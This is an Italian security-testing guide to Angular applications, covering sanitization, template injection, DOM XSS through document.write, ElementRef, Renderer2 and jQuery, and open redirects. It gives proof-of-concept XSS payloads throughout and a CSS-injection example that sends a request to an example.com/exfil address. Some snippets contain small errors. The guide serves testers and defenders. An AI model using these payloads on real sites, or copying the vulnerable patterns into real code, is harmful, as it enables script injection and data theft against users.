Angular

La Checklist

Checklist da qui.

Cos'è Angular

Angular è un framework front-end potente e open-source mantenuto da Google. Utilizza TypeScript per migliorare la leggibilità e il debug del codice. Con meccanismi di sicurezza robusti, Angular previene vulnerabilità comuni lato client come XSS e reindirizzamenti aperti. Può essere utilizzato anche lato server, rendendo importanti le considerazioni sulla sicurezza da entrambi i lati.

Architettura del framework

Per comprendere meglio i concetti fondamentali di Angular, esaminiamo la struttura di un progetto Angular comune:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (AppComponent) che collega una gerarchia di componenti al DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associato a un template HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore @Component() identifica la classe immediatamente sotto di esso come un componente e fornisce il template e i metadati specifici del componente. L'AppComponent è definito nel file app.component.ts.

Gli NgModule di Angular dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di funzionalità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato AppModule, che fornisce il meccanismo di bootstrap per avviare l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'AppModule è definito nel file app.module.ts.

L'NgModule Router di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di visualizzazione nell'applicazione. Il RouterModule è definito nel file app-routing.module.ts.

Per i dati o la logica che non sono associati a una vista specifica e che si desidera condividere tra i componenti, si crea una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore @Injectable(). Il decoratore fornisce i metadati che consentono l'iniezione di altre dipendenze nel tuo classe. L'iniezione di dipendenze (DI) consente di mantenere le classi dei componenti snelle ed efficienti. Non recuperano dati dal server, convalidano l'input dell'utente o registrano direttamente sulla console; delegano tali compiti ai servizi.

Configurazione del sourcemap

Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le opzioni del file tsconfig.json e quindi costruisce un progetto con la configurazione di angular.json. Osservando il file angular.json, abbiamo notato un'opzione per abilitare o disabilitare un sourcemap. Secondo la documentazione di Angular, la configurazione predefinita ha un file sourcemap abilitato per gli script e non è nascosto per impostazione predefinita:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Generalmente, i file sourcemap vengono utilizzati per scopi di debug in quanto mappano i file generati ai loro file originali. Pertanto, non è consigliabile utilizzarli in un ambiente di produzione. Se i sourcemap sono abilitati, migliorano la leggibilità e aiutano nell'analisi dei file riproducendo lo stato originale del progetto Angular. Tuttavia, se sono disabilitati, un revisore può comunque analizzare manualmente un file JavaScript compilato cercando modelli anti-sicurezza.

Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti di sviluppo del browser → Sorgenti (o Debugger e Sorgenti) → [id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine //# sourceMappingURL=[id].main.js.map o potrebbe non contenerla, se l'opzione hidden è impostata su true. Tuttavia, se il sourcemap è disabilitato per gli script, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la compilazione del progetto come ng build --source-map.

Binding dei dati

Il binding si riferisce al processo di comunicazione tra un componente e la sua vista corrispondente. Viene utilizzato per trasferire dati da e verso il framework Angular. I dati possono essere passati attraverso vari mezzi, come eventi, interpolazione, proprietà o tramite il meccanismo di binding bidirezionale. Inoltre, i dati possono essere condivisi tra componenti correlati (relazione padre-figlio) e tra due componenti non correlati utilizzando la funzionalità di Service.

Possiamo classificare il binding in base al flusso dei dati:

  • Sorgente dei dati verso il target della vista (include interpolazione, proprietà, attributi, classi e stili); può essere applicato utilizzando [] o {{}} nel template;

  • Target della vista verso la sorgente dei dati (include eventi); può essere applicato utilizzando () nel template;

  • Bidirezionale; può essere applicato utilizzando [()] nel template.

Il binding può essere applicato alle proprietà, agli eventi e agli attributi, nonché a qualsiasi membro pubblico di una direttiva di origine:

Modello di sicurezza di Angular

Il design di Angular include la codifica o la sanificazione di tutti i dati per impostazione predefinita, rendendo sempre più difficile scoprire ed sfruttare vulnerabilità XSS nei progetti Angular. Ci sono due scenari distinti per la gestione dei dati:

  1. Interpolazione o {{user_input}} - esegue la codifica sensibile al contesto e interpreta l'input dell'utente come testo;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Risultato: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Binding alle proprietà, agli attributi, alle classi e agli stili o [attributo]="user_input" - esegue la sanificazione in base al contesto di sicurezza fornito.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Risultato: <div><h1>test</h1></div>

Ci sono 6 tipi di SecurityContext :

  • None;

  • HTML viene utilizzato quando si interpreta il valore come HTML;

  • STYLE viene utilizzato quando si esegue il binding del CSS nella proprietà style;

  • URL viene utilizzato per le proprietà URL, come <a href>;

  • SCRIPT viene utilizzato per il codice JavaScript;

  • RESOURCE_URL come URL che viene caricato ed eseguito come codice, ad esempio in <script src>.

Vulnerabilità

Bypass dei metodi di fiducia della sicurezza

Angular introduce una serie di metodi per eludere il suo processo di sanificazione predefinito e per indicare che un valore può essere utilizzato in modo sicuro in un contesto specifico, come nei seguenti cinque esempi:

  1. bypassSecurityTrustUrl viene utilizzato per indicare che il valore fornito è un URL di stile sicuro:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Clicca qui</a>

//risultato
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Clicca qui</a>
  1. bypassSecurityTrustResourceUrl viene utilizzato per indicare che il valore fornito è un URL di risorsa sicuro:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//risultato
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml viene utilizzato per indicare che il valore fornito è HTML sicuro. Nota che l'inserimento di elementi script nell'albero DOM in questo modo non li fa eseguire il codice JavaScript incluso, a causa del modo in cui questi elementi vengono aggiunti all'albero DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//risultato
<h1>tag html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript viene utilizzato per indicare che il valore fornito è JavaScript sicuro. Tuttavia, abbiamo riscontrato che il suo comportamento è imprevedibile, poiché non siamo riusciti ad eseguire il codice JS nei template utilizzando questo metodo.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//risultato
-
  1. bypassSecurityTrustStyle viene utilizzato per indicare che il valore fornito è CSS sicuro. L'esempio seguente illustra l'iniezione di CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//risultato
Request URL: GET example.com/exfil/a

Angular fornisce un metodo sanitize per sanificare i dati prima di visualizzarli nelle viste. Questo metodo utilizza il contesto di sicurezza fornito e pulisce l'input di conseguenza. È tuttavia fondamentale utilizzare il contesto di sicurezza corretto per i dati e il contesto specifici. Ad esempio, l'applicazione di un sanificatore con SecurityContext.URL su contenuti HTML non fornisce protezione contro valori HTML pericolosi. In tali scenari, un uso improprio del contesto di sicurezza potrebbe portare a vulnerabilità XSS.

Iniezione HTML

Questa vulnerabilità si verifica quando l'input dell'utente è legato a una delle tre proprietà: innerHTML, outerHTML o iframe srcdoc. Mentre il legame a questi attributi interpreta l'HTML così com'è, l'input viene sanificato utilizzando SecurityContext.HTML. Pertanto, è possibile l'iniezione di HTML, ma non il cross-site scripting (XSS).

Esempio di utilizzo di innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Il risultato è <div><h1>test</h1></div>.

Iniezione di template

Rendering lato client (CSR)

Angular utilizza i template per costruire pagine dinamicamente. L'approccio prevede l'uso di espressioni di template racchiuse tra doppie parentesi graffe ({{}}) che Angular valuta. In questo modo, il framework offre funzionalità aggiuntive. Ad esempio, un template come {{1+1}} visualizzerà il risultato 2.

Di solito, Angular esegue l'escape dell'input utente che potrebbe essere confuso con espressioni di template (ad esempio, caratteri come `< > ' " ``). Ciò significa che sono necessari passaggi aggiuntivi per aggirare questa restrizione, come l'utilizzo di funzioni che generano oggetti stringa JavaScript per evitare l'uso di caratteri nella lista nera. Tuttavia, per ottenere ciò, è necessario considerare il contesto di Angular, le sue proprietà e le variabili. Pertanto, un attacco di iniezione di template potrebbe apparire come segue:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Come mostrato sopra: constructor si riferisce allo scope della proprietà constructor dell'oggetto, consentendoci di invocare il costruttore di String e eseguire un codice arbitrario.

Rendering lato server (SSR)

A differenza di CSR, che avviene nel DOM del browser, Angular Universal è responsabile del SSR dei file di template. Questi file vengono quindi consegnati all'utente. Nonostante questa distinzione, Angular Universal applica gli stessi meccanismi di sanitizzazione utilizzati in CSR per migliorare la sicurezza del SSR. Una vulnerabilità di injection di template in SSR può essere individuata allo stesso modo di CSR, perché il linguaggio di template utilizzato è lo stesso.

Naturalmente, esiste anche la possibilità di introdurre nuove vulnerabilità di injection di template quando si utilizzano motori di template di terze parti come Pug e Handlebars.

XSS

Interfacce DOM

Come precedentemente indicato, possiamo accedere direttamente al DOM utilizzando l'interfaccia Document. Se l'input dell'utente non viene convalidato in precedenza, può portare a vulnerabilità di cross-site scripting (XSS).

Abbiamo utilizzato i metodi document.write() e document.createElement() negli esempi seguenti:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Classi Angular

Ci sono alcune classi che possono essere utilizzate per lavorare con gli elementi DOM in Angular: ElementRef, Renderer2, Location e Document. Una descrizione dettagliata delle ultime due classi è fornita nella sezione Open redirects. La differenza principale tra le prime due è che l'API Renderer2 fornisce uno strato di astrazione tra l'elemento DOM e il codice del componente, mentre ElementRef contiene solo un riferimento all'elemento. Pertanto, secondo la documentazione di Angular, l'API ElementRef dovrebbe essere utilizzata solo come ultima risorsa quando è necessario un accesso diretto al DOM.

  • ElementRef contiene la proprietà nativeElement, che può essere utilizzata per manipolare gli elementi DOM. Tuttavia, un uso improprio di nativeElement può causare una vulnerabilità di injection XSS, come mostrato di seguito:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Ciao Mondo")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Nonostante il fatto che Renderer2 fornisca un'API che può essere utilizzata in modo sicuro anche quando non è supportato un accesso diretto agli elementi nativi, presenta comunque alcune vulnerabilità di sicurezza. Con Renderer2, è possibile impostare attributi su un elemento HTML utilizzando il metodo setAttribute(), che non ha meccanismi di prevenzione XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Cliccami!</button>
  • Per impostare la proprietà di un elemento DOM, è possibile utilizzare il metodo Renderer2.setProperty() e innescare un attacco XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Cliccami!</button>

Durante la nostra ricerca, abbiamo esaminato anche il comportamento di altri metodi di Renderer2, come setStyle(), createComment() e setValue(), in relazione a XSS e iniezioni CSS. Tuttavia, non siamo riusciti a trovare vettori di attacco validi per questi metodi a causa delle loro limitazioni funzionali.

jQuery

jQuery è una libreria JavaScript veloce, leggera e ricca di funzionalità che può essere utilizzata nel progetto Angular per aiutare nella manipolazione degli oggetti HTML DOM. Tuttavia, come è noto, i metodi di questa libreria possono essere sfruttati per ottenere una vulnerabilità XSS. Per discutere come alcuni metodi vulnerabili di jQuery possono essere sfruttati nei progetti Angular, abbiamo aggiunto questa sottosezione.

  • Il metodo html() ottiene il contenuto HTML del primo elemento nell'insieme di elementi corrispondenti o imposta il contenuto HTML di ogni elemento corrispondente. Tuttavia, per design, qualsiasi costruttore o metodo di jQuery che accetta una stringa HTML può potenzialmente eseguire del codice. Ciò può avvenire tramite l'iniezione di tag <script> o l'uso di attributi HTML che eseguono codice, come mostrato nell'esempio.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Cliccami</button>
<p>qualche testo qui</p>
  • Il metodo jQuery.parseHTML() utilizza metodi nativi per convertire la stringa in un insieme di nodi DOM, che possono quindi essere inseriti nel documento.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Come accennato in precedenza, la maggior parte delle API di jQuery che accettano stringhe HTML eseguiranno script inclusi nell'HTML. Il metodo jQuery.parseHTML() non esegue script nell'HTML analizzato a meno che keepScripts non sia esplicitamente impostato su true. Tuttavia, è comunque possibile eseguire script in modo indiretto nella maggior parte degli ambienti; ad esempio, tramite l'attributo <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Cliccami</button>
<p id="palias">qualche testo</p>

Open redirects

Interfacce DOM

Secondo la documentazione del W3C, gli oggetti window.location e document.location sono trattati come alias nei browser moderni. Ecco perché hanno un'implementazione simile di alcuni metodi e proprietà, che potrebbero causare un reindirizzamento aperto e attacchi DOM XSS con lo schema javascript://, come indicato di seguito.

  • window.location.href(e document.location.href)

Il modo canonico per ottenere l'oggetto di posizione DOM corrente è utilizzare window.location. Può anche essere utilizzato per reindirizzare il browser a una nuova pagina. Di conseguenza, avere il controllo su questo oggetto ci consente di sfruttare una vulnerabilità di reindirizzamento aperto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Cliccami!</button>

Il processo di sfruttamento è identico per gli scenari seguenti.

  • window.location.assign()(e document.location.assign())

Questo metodo fa sì che la finestra carichi e visualizzi il documento all'URL specificato. Se abbiamo il controllo su questo metodo, potrebbe essere un punto di ingresso per un attacco di reindirizzamento aperto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(e document.location.replace())

Questo metodo sostituisce la risorsa corrente con quella fornita dall'URL specificato.

La differenza rispetto al metodo assign() è che dopo aver utilizzato window.location.replace(), la pagina corrente non verrà salvata nella cronologia della sessione. Tuttavia, è comunque possibile sfruttare una vulnerabilità di reindirizzamento aperto quando abbiamo il controllo su questo metodo.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Il metodo window.open() prende un URL e carica la risorsa che identifica in una nuova o esistente scheda o finestra. Avere il controllo su questo metodo potrebbe anche essere un'opportunità per innescare una vulnerabilità XSS o di reindirizzamento aperto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Classi di Angular

  • Secondo la documentazione di Angular, la classe Document di Angular è la stessa del documento DOM, il che significa che è possibile utilizzare vettori comuni per il documento DOM per sfruttare le vulnerabilità lato client in Angular. Le proprietà e i metodi di Document.location potrebbero essere punti di ingresso per attacchi di reindirizzamento aperto di successo, come mostrato nell'esempio:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Clicca qui!</button>
  • Durante la fase di ricerca, abbiamo anche esaminato la classe Location di Angular per le vulnerabilità di reindirizzamento aperto, ma non sono stati trovati vettori validi. Location è un servizio di Angular che le applicazioni possono utilizzare per interagire con l'URL corrente del browser. Questo servizio ha diversi metodi per manipolare l'URL fornito - go(), replaceState(), e prepareExternalUrl(). Tuttavia, non possiamo usarli per il reindirizzamento verso un dominio esterno. Ad esempio:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Risultato: http://localhost:4200/http://google.com/about

  • La classe Router di Angular viene utilizzata principalmente per la navigazione all'interno dello stesso dominio e non introduce vulnerabilità aggiuntive all'applicazione:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Risultato: http://localhost:4200/https:

I seguenti metodi navigano anche all'interno del dominio:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Riferimenti

Last updated